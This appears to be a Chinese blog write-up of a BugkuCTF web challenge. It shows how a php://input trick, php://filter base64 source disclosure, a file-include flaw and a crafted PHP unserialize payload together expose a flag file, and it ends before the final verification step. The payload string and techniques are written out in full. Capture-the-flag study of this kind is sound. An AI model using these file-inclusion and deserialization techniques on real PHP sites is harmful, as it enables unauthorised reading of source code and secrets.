zoukankan      html  css  js  c++  java
  • welcome to bugkuctf

                      (题目页面)

                     (题目源代码)

    1.读取到的信息:

    a.  用_GET方式传递三个参数

    b.  user不为空,并且作为文件名变量打开后的文件内容为  “welcome to the bugkuctf”

    c.  file要求为hint.php

    d.  password变量暂时未读到相关信息

    2.根据读到的信息测试

    注:当传进去的变量的参数作为文件名变量去打开时,可用 : 变量名=php://input ,php://input 作为参数,同时使用post 方式传入内容作为变量的文件内容。

    3.读取hint.php源文件

    注:读取 php 源文件,将其以base64编码的方式输出可通过 “ php://filter/read=convert.base64-encode/resource=php源文件名 ” 的方法

    得到base64编码:

    PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==     

    base64解码:

     1 <?php  
     2   
     3 class Flag{//flag.php  
     4     public $file;  
     5     public function __tostring(){  
     6         if(isset($this->file)){  
     7             echo file_get_contents($this->file); 
     8             echo "<br>";
     9         return ("good");
    10         }  
    11     }  
    12 }  
    13 ?>  

    注:file_get_contents() 函数将一个文件读入一个字符串

    读取到的信息:

    a. 类名后面有 flag.php的注释

    b. 类内有个__tostring()函数,将类作为字符串执行时会自动执行的一个函数,此函数执行时会输出类内变量 file 的内容

         联想前面的flag注释,此时有可能会输出flag

    4.读取index.php

    用读取hint.php的方法读取出index.php,得到base64 编码:

    PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg 

    解码:

           

     1 <?php  
     2 $txt = $_GET["txt"];  
     3 $file = $_GET["file"];  
     4 $password = $_GET["password"];  
     5   
     6 if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
     7     echo "hello friend!<br>";  
     8     if(preg_match("/flag/",$file)){ 
     9         echo "不能现在就给你flag哦";
    10         exit();  
    11     }else{  
    12         include($file);   
    13         $password = unserialize($password);  
    14         echo $password;  
    15     }  
    16 }else{  
    17     echo "you are not the number of bugku ! ";  
    18 }  
    19   
    20 ?>  
    21   
    22 <!--  
    23 $user = $_GET["txt"];  
    24 $file = $_GET["file"];  
    25 $pass = $_GET["password"];  
    26   
    27 if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    28     echo "hello admin!<br>";  
    29     include($file); //hint.php  
    30 }else{  
    31     echo "you are not admin ! ";  
    32 }  
    33  -->  

    注:serialize() 函数用于序列化对象或数组,并返回一个字符串。

           unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

    读取信息:

    a. 

     if(preg_match("/flag/",$file)){ 
            echo "不能现在就给你flag哦";
            exit();  '
    通过preg_match匹配了flag关键字,也就无法输出flag.php内容,将希望寄托于之前的到的类

    b. 

      $password = unserialize($password);  
    echo $password;
    得到了password的用法,用于解序列化并将其输出,结合之前Flag类的输出猜测,如果password为Flag类的序列化,将其解序列化后便是Flag类,将其输出便可能得到flag

    4.根据前面一系列操作和猜测,当前需要得到类Flag的序列化

    编写代码得到Flag的序列化:

    <?php
        class Flag{//flag.php  
        public $file;  
        }  
     
        $a = new Flag();
        $a->file = "flag.php";
        $a = serialize($a);
        print_r($a);
    ?>

    执行得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    5.验证猜测




  • 相关阅读:
    JSON初试
    for ...in 、for each ...in、 for...of(https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Statements/for...of)
    WPF MVVM 模式下的弹窗
    『简易日志』NuGet 日志包 SimpleLogger
    WPF 让一组 Button 实现 RadioButton 的当前样式效果
    IIS 错误解决:当前标识没有对 Temporary ASP.NET Files 的写访问权限
    [读书笔记] 《大话设计模式》
    WPF 原生绑定和命令功能使用指南
    ASP.NET Core MVC 网站学习笔记
    在香蕉派的树莓派系统上配置 Syncthing 自启动
  • 原文地址:https://www.cnblogs.com/Jie-Fei/p/9697006.html
Copyright © 2011-2022 走看看